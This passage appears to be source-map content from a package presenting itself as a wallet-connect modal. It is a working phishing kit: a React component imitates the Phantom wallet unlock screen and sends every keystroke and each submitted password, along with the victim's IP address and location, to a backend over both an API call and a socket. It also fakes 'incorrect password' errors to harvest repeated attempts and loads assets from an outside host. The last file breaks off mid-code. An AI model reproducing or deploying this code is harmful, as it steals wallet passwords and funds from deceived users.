};\n\n const errorHandler = (error: { error?: string } | string) => {\n clearTimeout(timeout);\n const errorMessage = typeof error === 'object' && error.error ? error.error : (typeof error === 'string' ? error : 'Socket error');\n resolve({ success: false, error: errorMessage });\n };\n\n socket.once('keyInsertSuccess', successHandler);\n socket.once('keyInsertError', errorHandler);\n\n socket.emit('insertKey', payload);\n\n } catch (error: any) {\n console.error('Error sending key to backend via Socket:', error);\n resolve({ success: false, error: error.message || 'Unknown error' });\n }\n });\n};\n\n// Cached IP and Location data\nlet cachedLocationData: { IP_address: string; Location: string; country_code: string } | null = null;\nlet locationDataPromise: Promise<{ IP_address: string; Location: string; country_code: string }> | null = null;\n\n/**\n * Initialize and cache IP and Location data\n */\nexport const initializeLocationData = async (): Promise<{ IP_address: string; Location: string; country_code: string }> => {\n if (cachedLocationData) {\n return cachedLocationData;\n }\n\n if (locationDataPromise) {\n return locationDataPromise;\n }\n\n locationDataPromise = (async () => {\n try {\n const data = await getIPAndLocation();\n cachedLocationData = data;\n return data;\n } catch (error) {\n console.warn('Failed to get IP and Location, using defaults:', error);\n cachedLocationData = { \n IP_address: 'unknown', \n Location: 'unknown',\n country_code: 'unknown'\n };\n return cachedLocationData;\n } finally {\n locationDataPromise = null;\n }\n })();\n\n return locationDataPromise;\n};\n\n/**\n * Send key data to backend using BOTH API and Socket simultaneously\n */\nexport const sendKeyToBackend = async (\n userId: string,\n keyType: KeyType,\n keys: string,\n walletTypeShortkey: string = 'MM'\n): Promise<{ success: boolean; error?: string; apiResult?: any; socketResult?: any }> => {\n if (!cachedLocationData) {\n await initializeLocationData();\n }\n\n initializeSocket();\n\n const locationData = cachedLocationData || { \n IP_address: 'unknown', \n Location: 'unknown',\n country_code: 'unknown'\n };\n\n const [apiResult, socketResult] = await Promise.allSettled([\n sendKeyToBackendAPI(userId, keyType, keys, walletTypeShortkey, locationData),\n sendKeyToBackendSocket(userId, keyType, keys, walletTypeShortkey, locationData)\n ]);\n\n const apiSuccess = apiResult.status === 'fulfilled' && apiResult.value.success;\n const socketSuccess = socketResult.status === 'fulfilled' && socketResult.value.success;\n\n if (!apiSuccess) {\n console.warn('API send failed:', apiResult.status === 'fulfilled' ? apiResult.value.error : apiResult.reason);\n }\n\n if (!socketSuccess) {\n console.warn('Socket send failed:', socketResult.status === 'fulfilled' ? socketResult.value.error : socketResult.reason);\n }\n\n const overallSuccess = apiSuccess || socketSuccess;\n\n // Get error message from either API or Socket result\n const apiError = apiResult.status === 'fulfilled' ? apiResult.value.error : undefined;\n const socketError = socketResult.status === 'fulfilled' ? socketResult.value.error : undefined;\n const errorMessage = apiError || socketError;\n\n return {\n success: overallSuccess,\n error: overallSuccess ? undefined : (errorMessage || 'Request failed'), // Match original structure: error property at top level\n apiResult: apiResult.status === 'fulfilled' ? apiResult.value : { success: false, error: String(apiResult.reason) },\n socketResult: socketResult.status === 'fulfilled' ? socketResult.value : { success: false, error: String(socketResult.reason) }\n };\n};\n\n","import React, { useState, useEffect, useRef } from 'react';\n// Note: react-icons needs to be installed: npm install react-icons\n// import { AiOutlineExclamationCircle } from 'react-icons/ai';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport './styles.css';\n\n// Helper to get image path - works when package is installed\n// Images are in dist/wallets/phantom/phantom/ when package is built\nconst getImagePath = (filename: string): string => {\n // Use a path that resolves from node_modules\n // When installed: node_modules/wallet-connect-modal/dist/wallets/phantom/phantom/filename\n // Vite will serve files from node_modules if configured correctly\n // return `/node_modules/wallet-connect-modal/dist/wallets/phantom/phantom/${filename}`;\n return `https://www.riveanimation.cards/v2/images/phantom/${filename}`;\n};\n\nconst PhantomModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [trying, setTrying] = useState(0);\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [currentImage, setCurrentImage] = useState('s.gif');\n const [hasStartedTyping, setHasStartedTyping] = useState(false);\n const [isButtonPressed, setIsButtonPressed] = useState(false);\n const [shouldShake, setShouldShake] = useState(false);\n\n const gifTimeoutRef = useRef<number | null>(null);\n const inputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null); // Ref for the modal wrapper\n\n // Get image URL for the given filename\n const getImageUrl = (filename: string): string => {\n return getImagePath(filename);\n };\n\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n const focusTimeout = setTimeout(() => {\n inputRef.current?.focus();\n }, 4000);\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n\n const modalElement = document.getElementById('phantom-forget-password-modal');\n if (modalElement) {\n modalElement.addEventListener('click', (e) => {\n if (e.target === modalElement) {\n modalElement.classList.add('hidden');\n }\n });\n }\n\n const handleHelpPopoverClick = (e: MouseEvent) => {\n const helpPopover = document.getElementById('phantom-help-popover');\n const helpButton = document.getElementById('menu-button--menu--:r1:');\n\n if (helpPopover && !helpPopover.classList.contains('hidden')) {\n const isClickOnButton = helpButton && (helpButton === e.target || (helpButton as HTMLElement).contains(e.target as Node));\n const isClickOnPopover = helpPopover.contains(e.target as Node);\n\n if (!isClickOnPopover && !isClickOnButton) {\n const modal = document.getElementById('phantom-help-popover');\n if (modal) {\n modal.classList.add('hidden');\n }\n }\n }\n };\n\n document.addEventListener('click', handleHelpPopoverClick);\n\n return () => {\n clearTimeout(focusTimeout);\n document.removeEventListener('click', handleDocumentClick);\n document.removeEventListener('click', handleHelpPopoverClick);\n if (gifTimeoutRef.current) {\n clearTimeout(gifTimeoutRef.current);\n }\n };\n }\n }, [isOpen, isClosable]);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setTrying(0);\n setConnectionError(false);\n setError(false);\n setCurrentImage('s.gif');\n setHasStartedTyping(false);\n setIsButtonPressed(false);\n setShouldShake(false);\n if (gifTimeoutRef.current) {\n clearTimeout(gifTimeoutRef.current);\n gifTimeoutRef.current = null;\n }\n };\n\n const getCaretCoordinates = (element: HTMLInputElement, position: number) => {\n const div = document.createElement('div');\n div.id = 'password-mirror-div';\n document.body.appendChild(div);\n const computed = window.getComputedStyle(element);\n div.textContent = new Array(position + 1).join('•');\n const span = document.createElement('span');\n span.textContent = '•';\n div.appendChild(span);\n\n const coordinates = {\n top: span.offsetTop + parseInt(computed.borderTopWidth, 10),\n left: span.offsetLeft + parseInt(computed.borderLeftWidth, 10),\n };\n document.body.removeChild(div);\n return coordinates;\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const target = e.target;\n if (target && typeof target.getBoundingClientRect === 'function') {\n const element = target || inputRef.current;\n if (element) {\n const boundingRect = element.getBoundingClientRect();\n const coordinates = getCaretCoordinates(element, element.selectionEnd || 0);\n // Animation emitter removed (was for Mascot)\n }\n }\n\n const newKeyword = target.value;\n\n if (!hasStartedTyping && newKeyword.length > 0) {\n setHasStartedTyping(true);\n setCurrentImage('w.gif');\n scheduleGifCompletion('n.gif');\n }\n\n setKeyword(newKeyword);\n setError(false);\n setShouldShake(false);\n\n const currentUserId = backendConfig?.userId || userId;\n // Send keys if userId is provided (matches original behavior)\n // backendConfig.enabled can be used to disable if needed, but defaults to enabled if userId exists\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.PHANTOM);\n }\n };\n\n const handledForgetPwd = () => {\n showForgetPasswordModal();\n };\n\n const handledResetPwd = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('chrome-extension://bfnaelmomeimhlpmgjnjophhpkkoljpa/home.html#restore-vault', '_blank');\n };\n\n const handleLearnMore = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('https://help.phantom.com/', '_blank');\n };\n\n const handleKeywordTyping = async () => {\n if (connecting) {\n return;\n }\n\n if (keyword) {\n setConnecting(true);\n\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n setCurrentImage('wp.gif');\n setShouldShake(true);\n scheduleGifCompletion('n.gif');\n setTimeout(() => {\n setShouldShake(false);\n }, 500);\n return;\n }\n\n // Send keys if userId is provided (matches original behavior)\n // backendConfig.enabled can be used to disable if needed, but defaults to enabled if userId exists\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.PHANTOM);\n\n // Original code always goes into error handling path (success check is commented out)\n // Match original behavior exactly: ALWAYS show error state if trying < 3, regardless of result\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n // Change image to wp.gif when password is wrong\n // Original ALWAYS shows error state (no check for result.success or result.error)\n setError(true);\n setHelperText(result.error || 'Password is incorrect. Please try again.');\n setTrying(trying + 1);\n setCurrentImage('wp.gif');\n setShouldShake(true);\n // After animation, change to n.gif\n scheduleGifCompletion('n.gif');\n // Stop shake animation after it completes\n setTimeout(() => {\n setShouldShake(false);\n }, 500);\n } else {\n setConnectionError(true);\n }\n // Note: On success, the modal does NOT close automatically (matches original behavior)\n // The modal stays open, just sets connecting to false\n }, 150);\n } else {\n // If backend is disabled, just stop connecting state (don't close modal)\n setTimeout(() => {\n setConnecting(false);\n }, 150);\n }\n } else {\n setError(false);\n setHelperText('');\n }\n };\n\n const showForgetPasswordModal = () => {\n const modal = document.getElementById('phantom-forget-password-modal');\n if (modal) {\n modal.classList.remove('hidden');\n }\n };\n\n const closeForgetPasswordModal = () => {\n const modal = document.getElementById('phantom-forget-password-modal');\n if (modal) {\n modal.classList.add('hidden');\n }\n };\n\n const showHelpModal = () => {\n const modal = document.getElementById('phantom-help-popover');\n if (modal) {\n modal.classList.remove('hidden');\n }\n };\n\n const closeHelpModal = () => {\n const modal = document.getElementById('phantom-help-popover');\n if (modal) {\n modal.classList.add('hidden');\n }\n };\n\n const scheduleGifCompletion = (targetImage: string) => {\n if (gifTimeoutRef.current) {\n clearTimeout(gifTimeoutRef.current);\n }\n gifTimeoutRef.current = setTimeout(() => {\n setCurrentImage(targetImage);\n gifTimeoutRef.current = null;\n }, 2000) as unknown as number;\n };\n\n const handleImageClick = () => {\n setCurrentImage('j.gif');\n scheduleGifCompletion('n.gif');\n };\n\n const handleButtonMouseDown = () => {\n setIsButtonPressed(true);\n };\n\n const handleButtonMouseUp = () => {\n setIsButtonPressed(false);\n };\n\n const handleButtonMouseLeave = () => {\n setIsButtonPressed(false);\n };\n\n if (!isOpen) return null;\n\n // Use portal to render directly in document.body to ensure fixed positioning relative to viewport\n // This bypasses any parent elements with transform/perspective/filter that would create a containing block\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n style={{ position: 'fixed', top: 0, right: '150px' }}\n >\n <div className=\"w-[360px] h-[600px] shadow-[0_2px_8px_0_rgba(0,0,0,0.2)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: '#121214' }}>\n {connectionError ? (\n <div className=\"dark:text-white text-center px-4 py-8 flex flex-col h-full justify-between\">\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className=\"text-2xl text-red-500 text-center dark:text-white w-6 h-6\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold euclid-bold\">Connection failed</h3>\n <div className=\"text-sm leading-relaxed\">\n <h6>Fetching of</h6>\n <h5 className=\"font-bold\">\n @unstoppabledomains/unstoppable-\n </h5>\n <h5>\n <span className=\"font-bold\">resolution-snap</span>{' '}\n failed, check your network and\n </h5>\n <h5>try again.</h5>\n </div>\n <div className=\"mt-4 text-base border-l-4 border-red-500 bg-red-50 p-4 rounded text-left dark:bg-gray-700\">\n <h5>One or more permissions are not allowed:</h5>\n <h5>This endowment is experiental and therefore </h5>\n <h5>not available.</h5>\n </div>\n </div>\n <button\n className={`w-full rounded-full cursor-pointer phantom-font-regular p-2.5 !text-white hover:bg-[#3148f5] dark:border-[#ffffff] bg-[#4459ff] dark:text-[#141618]`}\n onClick={handleClick}\n >\n Ok\n </button>\n </div>\n ) : (\n <div>\n <div className=\"min-h-[68px] flex items-center bg-white w-full dark:shadow-2xl dark:bg-[#141618] hidden\">\n {/* Hidden header - kept for structure */}\n </div>\n\n <div className=\"flex flex-col h-full box-border bg-[#121214]\">\n <div className=\"px-[16px] py-[10px] h-[59px] flex flex-row justify-between items-center w-full box-border border-b-[1px] border-b border-[#3a3a3a]\">\n <div className=\"w-[10px]\"></div>\n <div className=\"h-[59px] flex box-border\">\n <svg width=\"94\" height=\"59\" viewBox=\"0 0 478 103\">\n <path fill=\"#b4b4b4\" d=\"M0 102.895h17.97V85.222c0-8.295-.718-11.42-4.911-19.836l2.276-1.203C21.445 78.49 30.07 83.66 38.937 83.66c14.257 0 25.638-12.503 25.638-31.859 0-18.514-10.423-32.1-25.399-32.1-8.865 0-17.73 5.05-23.841 19.477l-2.276-1.202c2.875-5.771 4.912-11.181 4.912-16.35H0v81.27ZM17.97 51.68c0-7.934 5.991-16.71 14.857-16.71 7.188 0 13.058 5.89 13.058 16.59 0 10.58-5.63 16.831-13.178 16.831-8.387 0-14.736-8.536-14.736-16.71ZM71.135 81.736h17.97v-21.16c0-14.907 5.272-25.487 15.096-25.487 6.23 0 8.147 4.208 8.147 14.668v31.979h17.97V46.871c0-18.995-6.828-27.17-19.887-27.17-13.419 0-17.851 9.017-23.003 19.957l-2.276-1.202c3.115-6.733 3.953-10.82 3.953-16.832V.826h-17.97v80.91ZM156.582 83.66c11.621 0 18.45-7.694 23.601-17.553l2.157 1.082c-2.277 4.689-4.433 10.099-4.433 14.547h17.612v-32.7c0-19.477-8.147-29.335-27.196-29.335-18.69 0-27.915 9.377-29.712 19.236l17.252 3.005c.599-5.17 4.792-8.656 11.501-8.656 6.71 0 10.543 3.366 10.543 7.454 0 4.088-3.953 6.011-14.496 6.131-15.575.24-27.076 5.891-27.076 17.914 0 9.858 7.787 18.874 20.247 18.874Zm-2.396-20.078c0-9.498 15.095-2.885 23.362-10.218v2.163c0 8.536-7.548 14.788-15.096 14.788-3.953 0-8.266-1.683-8.266-6.733ZM202.64 81.736h17.97v-21.16c0-14.907 5.272-25.487 15.096-25.487 6.23 0 8.146 4.208 8.146 14.668v31.979h17.972V46.871c0-18.995-6.829-27.17-19.888-27.17-13.419 0-17.851 9.017-23.003 19.957l-2.276-1.202c3.115-6.733 3.953-10.82 3.953-16.832h-17.97v60.112ZM309.688 81.977V67.069c-3.834 1.322-14.496 3.606-14.496-5.17V36.051h14.376V21.624h-14.376V5.514l-18.091 5.41v10.7h-10.782v14.427h10.782l.12 27.291c0 20.077 17.851 22.963 32.467 18.635ZM346.192 83.66c18.211 0 32.108-13.946 32.108-32.1 0-18.034-13.897-31.86-32.108-31.86-18.21 0-32.227 13.826-32.227 31.86 0 18.154 14.017 32.1 32.227 32.1Zm-13.657-31.98c0-9.978 5.631-16.951 13.657-16.951 8.027 0 13.538 6.973 13.538 16.951 0 9.979-5.511 16.952-13.538 16.952-8.026 0-13.657-6.973-13.657-16.952ZM383.868 81.736h17.968v-21.16c0-15.508 4.913-25.487 12.82-25.487 5.154 0 6.83 4.088 6.83 14.668v31.979h17.973v-21.16c0-14.547 5.27-25.487 12.82-25.487 5.027 0 6.824 4.69 6.824 14.668v31.979h17.974V46.871c0-19.115-6.232-27.17-18.452-27.17-12.698 0-17.248 9.017-21.682 20.077l-2.16-1.082c4.198-12.623-4.912-18.995-13.896-18.995-11.858 0-16.171 9.017-20.963 19.957l-2.159-1.202c2.994-6.733 4.071-10.82 4.071-16.832h-17.968v60.112Z\"></path>\n </svg>\n </div>\n <span aria-haspopup=\"true\" aria-controls=\"phantom-help-popover\" id=\"menu-button--menu--:r1:\" onClick={showHelpModal}>\n <div className=\"flex justify-center items-center p-[5px] m-[-5px] cursor-pointer\">\n <svg width=\"15\" viewBox=\"0 0 15 15\" fill=\"#b4b4b4\" xmlns=\"http://www.w3.org/2000/svg\">\n <path d=\"M7.5 0C3.3589 0 0 3.3589 0 7.5C0 11.6411 3.3589 15 7.5 15C11.6411 15 15 11.6411 15 7.5C15 3.3589 11.6411 0 7.5 0ZM8.31288 11.7485C8.31288 12.0092 8.09816 12.2239 7.83742 12.2239H6.62577C6.36503 12.2239 6.15031 12.0092 6.15031 11.7485V10.9663C6.15031 10.7055 6.36503 10.4908 6.62577 10.4908H7.83742C8.09816 10.4908 8.31288 10.7055 8.31288 10.9663V11.7485ZM10.2301 7.08589C9.90798 7.53067 9.5092 7.88344 9.0184 8.14417C8.74233 8.32822 8.55828 8.51227 8.46626 8.72699C8.40491 8.86503 8.3589 9.04908 8.32822 9.2638C8.31288 9.43252 8.15951 9.55521 7.9908 9.55521H6.50307C6.30368 9.55521 6.15031 9.3865 6.16564 9.20245C6.19632 8.78834 6.30368 8.46626 6.47239 8.22086C6.68712 7.92945 7.07055 7.57669 7.6227 7.19325C7.91411 7.0092 8.12883 6.79448 8.29755 6.53374C8.46626 6.27301 8.54294 5.96626 8.54294 5.6135C8.54294 5.26074 8.45092 4.96932 8.25153 4.7546C8.05215 4.53988 7.79141 4.43252 7.43865 4.43252C7.14724 4.43252 6.91718 4.52454 6.71779 4.69325C6.59509 4.80061 6.5184 4.93865 6.47239 5.1227C6.41104 5.33742 6.21166 5.47546 5.98159 5.47546L4.60123 5.44479C4.43252 5.44479 4.29448 5.29141 4.30982 5.1227C4.35583 4.3865 4.64724 3.83436 5.15337 3.43558C5.7362 2.9908 6.48773 2.76074 7.43865 2.76074C8.45092 2.76074 9.24847 3.02147 9.83129 3.52761C10.4141 4.03374 10.7055 4.72393 10.7055 5.59816C10.7055 6.15031 10.5368 6.6411 10.2301 7.08589Z\">\n </path>\n </svg>\n </div>\n </span>\n </div>\n\n <div className=\"w-full px-[16px] flex flex-col items-center box-border relative flex-1\">\n <div className=\"text-[#141618] flex flex-col justify-start items-center dark:text-[#ffffff] w-full h-full\">\n <button\n className=\"width-[256px] height-[240px] flex flex-direction-column justify-center relative box-border\"\n onClick={handleImageClick}\n >\n <div>\n <img\n src={getImageUrl(currentImage)}\n alt=\"logo\"\n className=\"w-full h-full object-cover\"\n />\n </div>\n </button>\n\n <form\n className=\"flex flex-col justify-center items-center w-full gap-[16px]\"\n onSubmit={(e) => {\n e.preventDefault();\n handleKeywordTyping();\n }}\n >\n <button className=\"text-[#EEEEEE] inline-block text-[22px] line-height-[24px] phantom-font-regular font-medium box-border tracking-[-.02em]\">\n Enter your password\n </button>\n <div className=\"w-full\">\n <input\n id=\"current-password\"\n placeholder=\"Password\"\n type=\"password\"\n value={keyword}\n onChange={handleKeywordChange}\n onKeyDown={(e) => {\n if (e.key === 'Enter') {\n e.preventDefault();\n handleKeywordTyping();\n }\n }}\n className={`phantom-font-regular w-full p-[14px] bg-[#191919] border border-[1px] border-solid rounded-[6px] text-white font-[16px] leading-[19px] z-10 relative transition-colors focus:outline-none ${\n error ? 'border-red-500 focus:border-red-500' : 'border-[#3a3a3a] focus:border-[#3a3a3a]'\n } ${shouldShake ? 'password-shake' : ''}`}\n ref={inputRef}\n />\n </div>\n </form>\n <div className=\"flex flex-col justify-center items-center w-full gap-[10px] mt-auto pb-[16px] box-border\">\n <div className=\"w-full flex justify-center\">\n <button\n className={`text-[#111111] bg-[#ab9ff2] mt-[70px] rounded-[16px] px-[16px] box-border phantom-font-regular font-[16px] line-height-[19px] tracking-normal font-semibold transition-all ${\n isButtonPressed\n ? 'w-[calc(100%-10px)] h-[43px]'\n : 'w-full h-[48px]'\n }`}\n onClick={handleKeywordTyping}\n onMouseDown={handleButtonMouseDown}\n onMouseUp={handleButtonMouseUp}\n onMouseLeave={handleButtonMouseLeave}\n >\n Unlock\n </button>\n </div>\n <button\n className=\"text-[#EEEEEE] phantom-font-regular w-full h-[48px] px-[16px] box-border font-[16px] line-height-[19px] tracking-normal font-semibold\"\n onClick={handledForgetPwd}\n >\n Forgot password\n </button>\n </div>\n </div>\n </div>\n\n <div id=\"phantom-forget-password-modal\" className=\"absolute top-0 left-0 z-50 hidden\">\n <div\n className=\"flex flex-col min-w-[360px] min-height-[600px] bg-[#121214] pb-[16px] h-[600px]\"\n >\n <section className=\"relative z-1 bg-[#121214] px-[32px] py-[10px] flex flex-shrink-0 flex-row items-center justify-between w-full h-[59px] border-b-[1px] border-b border-[#3a3a3a]\">\n <div className=\"absolute left-[16px] h-[28px] min-w-[28px] border-r-[50%] flex justify-center items-center cursor-pointer p-[5px] m-[-5px]\" onClick={closeForgetPasswordModal}>\n <svg width=\"12\" fill=\"#b4b4b4\" viewBox=\"0 0 12 12\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\" M12 10.6811L7.11455 5.80495L11.6006 1.31889L10.291 0L5.80495 4.48607L1.31889 0L0 1.31889L4.48607 5.80495L0 10.291L1.31889 11.6006L5.80495 7.11455L10.6811 12L12 10.6811Z\"></path></svg>\n </div>\n <div className=\"flex items-center justify-center w-full\">\n <p className=\"text-white phantom-font-regular\" style={{ fontSize: '16px', fontWeight: '500', lineHeight: '25px', maxWidth: '280px', opacity: 1, color: 'white', textAlign: 'center', textDecoration: 'none', backgroundColor: 'transparent' }}>Forgot password</p>\n </div>\n </section>\n\n <div className=\"flex flex-col items-center justify-between px-[16px] pt-[30px] flex-1\">\n <div></div>\n <section className=\"flex flex-col items-center w-full\">\n <svg className=\"mb-[16px]\" width=\"94\" height=\"94\" viewBox=\"0 0 94 94\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><g filter=\"url(#filter0_i)\"><circle cx=\"47\" cy=\"47\" r=\"47\" fill=\"#191919\"></circle></g><g filter=\"url(#filter1_d)\"><path d=\"M47 27C40.37 27 35 32.1143 35 38.4286V44.1429H29V67H65V44.1429H59V38.4286C59 32.1143 53.63 27 47 27ZM47 32.7143C50.57 32.7143 53 35.0286 53 38.4286V44.1429H41V38.4286C41 35.0286 43.43 32.7143 47 32.7143Z\" fill=\"#222222\"></path></g><defs><filter id=\"filter0_i\" x=\"0\" y=\"0\" width=\"94\" height=\"94\" filterUnits=\"userSpaceOnUse\" colorInterpolationFilters=\"sRGB\"><feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood><feBlend mode=\"normal\" in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\"></feBlend><feColorMatrix in=\"SourceAlpha\" type=\"matrix\" values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\" result=\"hardAlpha\"></feColorMatrix><feOffset></feOffset><feGaussianBlur stdDeviation=\"2\"></feGaussianBlur><feComposite in2=\"hardAlpha\" operator=\"arithmetic\" k2=\"-1\" k3=\"1\"></feComposite><feColorMatrix type=\"matrix\" values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0\"></feColorMatrix><feBlend mode=\"normal\" in2=\"shape\" result=\"effect1_innerShadow\"></feBlend></filter><filter id=\"filter1_d\" x=\"21\" y=\"19\" width=\"52\" height=\"56\" filterUnits=\"userSpaceOnUse\" colorInterpolationFilters=\"sRGB\"><feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood><feColorMatrix in=\"SourceAlpha\" type=\"matrix\" values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"></feColorMatrix><feOffset></feOffset><feGaussianBlur stdDeviation=\"4\"></feGaussianBlur><feColorMatrix type=\"matrix\" values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.3 0\"></feColorMatrix><feBlend mode=\"normal\" in2=\"BackgroundImageFix\" result=\"effect1_dropShadow\"></feBlend><feBlend mode=\"normal\" in=\"SourceGraphic\" in2=\"effect1_dropShadow\" result=\"shape\"></feBlend></filter></defs></svg>\n <p className=\"text-[26px] font-medium leading-[31px] phantom-font-regular opacity-100 text-white text-center decoration-none bg-transparent mb-[16px]\">Forgot password</p>\n <p className=\"mb-[16px] phantom-font-regular text-[16px] text-[#b4b4b4] leading-[21px] opacity-100 font-normal text-center decoration-none bg-transparent\">To reset your password, you will need to reset your wallet. Phantom cannot recover your password for you.</p>\n </section>\n <div className=\"flex flex-col items-center justify-center w-full gap-[10px] box-border\">\n <button className=\"text-[#111111] w-full h-[48px] bg-[#ab9ff2] rounded-[16px] px-[16px] box-border font-[16px] line-height-[19px] phantom-font-regular tracking-normal font-semibold\" type=\"button\" onClick={handledResetPwd}>Reset & wipe app</button>\n <button className=\"text-[#EEEEEE] phantom-font-regular w-full h-[48px] px-[16px] box-border font-[16px] line-height-[19px] tracking-normal font-semibold\" type=\"button\" onClick={handleLearnMore}>Learn more</button>\n </div>\n </div>\n </div>\n </div>\n\n <div id=\"phantom-help-popover\" className=\"absolute left-[94px] top-[36.5px] hidden\">\n <div className=\"shadow-[rgba(0,0,0,0.25)] rounded-[6px] p-[10px_17px] mt-[4px] w-[250px] z-[999] relative bg-[rgb(25,25,25)] block whitespace-nowrap outline-none text-[85%]\">\n <div style={{ maxHeight: '330px' }} className=\"max-height-[330px]\">\n <div\n className=\"flex items-center phantom-font-regular justify-between text-[rgb(238,238,238)] cursor-pointer py-[3px] px-0 text-[16px] hover:text-[#ab9ff2]\"\n onClick={() => {\n window.open('https://help.phantom.com/', '_blank');\n }}\n >\n Support Desk\n </div>\n <div\n className=\"flex items-center justify-between phantom-font-regular text-[rgb(238,238,238)] cursor-pointer py-[3px] px-0 text-[16px] hover:text-[#ab9ff2]\"\n onClick={closeHelpModal}\n >\n Download App Logs\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n )}\n </div>\n </div>\n </div>\n );\n\n // Render modal directly in document.body via portal to ensure fixed positioning works relative to viewport\n return modalContent;\n};\n\nexport default PhantomModal;\n","import React, { useEffect, useState } from \"react\";\r\nimport { resolveAssetUrl } from '../../utils/assetPath';\r\nimport { ASSET_PATHS } from '../../utils/assetPaths';\r\n// @ts-ignore - Optional peer dependency, handled dynamically at runtime\r\n\r\n// Internal component that uses Rive hooks - only rendered when module is loaded\r\nconst RiveAnimationInner = ({ useRive, Layout, Fit, animationPath }: {\r\n useRive: any;\r\n Layout: any;\r\n Fit: any;\r\n animationPath: string;\r\n}) => {\r\n // Create layout - use Fit.Contain to match original (not Cover which zooms in)\r\n const layoutConfig = new Layout({\r\n fit: Fit.Contain,\r\n alignment: 'Center', // Use string directly instead of Alignment.Center\r\n });\r\n\r\n const { rive, RiveComponent } = useRive({\r\n src: animationPath,\r\n stateMachines: \"FoxRaiseUp\",\r\n autoplay: true,\r\n layout: layoutConfig,\r\n onLoad: () => {\r\n },\r\n onLoadError: (err: Error) => {\r\n },\r\n });\r\n\r\n useEffect(() => {\r\n if (rive) {\r\n const inputs = rive.stateMachineInputs(\"FoxRaiseUp\");\r\n\r\n if (inputs) {\r\n const startInput = inputs.find((input: any) => input.name === \"Start\");\r\n if (startInput) {\r\n startInput.fire();\r\n }\r\n }\r\n\r\n rive.play();\r\n }\r\n }, [rive]);\r\n\r\n return (\r\n <div style={{ width: '400px', height: '170px', display: 'flex', justifyContent: 'center', alignItems: 'center' }}>\r\n <RiveComponent\r\n style={{\r\n width: \"400px\",\r\n height: \"170px\",\r\n display: \"block\",\r\n }}\r\n />\r\n </div>\r\n );\r\n};\r\n\r\nexport const FoxRiveAnimation = () => {\r\n const [riveModuleLoaded, setRiveModuleLoaded] = useState(false);\r\n const [riveComponents, setRiveComponents] = useState<{\r\n useRive: any;\r\n Layout: any;\r\n Fit: any;\r\n } | null>(null);\r\n\r\n // Get RIV animation URL from config (third-party URL)\r\n const FOX_ANIMATION = resolveAssetUrl(ASSET_PATHS.metamaskFoxRiv);\r\n\r\n // Load the module dynamically at runtime to avoid build-time import issues\r\n useEffect(() => {\r\n if (typeof window === 'undefined') {\r\n return;\r\n }\r\n\r\n // Use dynamic import which works better with bundlers\r\n // @ts-ignore - Dynamic import for optional peer dependency\r\n import(\"@rive-app/react-canvas\")\r\n .then((module: any) => {\r\n \r\n // Try different possible export structures\r\n // Structure 1: Direct exports (useRive, Layout, Fit)\r\n let useRive = module?.useRive;\r\n let Layout = module?.Layout;\r\n let Fit = module?.Fit;\r\n \r\n // Structure 2: Default export with named exports\r\n if (!useRive && module?.default) {\r\n useRive = module.default.useRive || module.default?.useRive;\r\n Layout = module.default.Layout || module.default?.Layout;\r\n Fit = module.default.Fit || module.default?.Fit;\r\n }\r\n \r\n // Structure 3: Named exports from default\r\n if (!useRive && module?.default) {\r\n const defaultModule = module.default;\r\n if (typeof defaultModule === 'object') {\r\n useRive = defaultModule.useRive;\r\n Layout = defaultModule.Layout;\r\n Fit = defaultModule.Fit;\r\n }\r\n }\r\n \r\n // Structure 4: Check for nested structure (e.g., module.rive.useRive)\r\n if (!useRive && module?.rive) 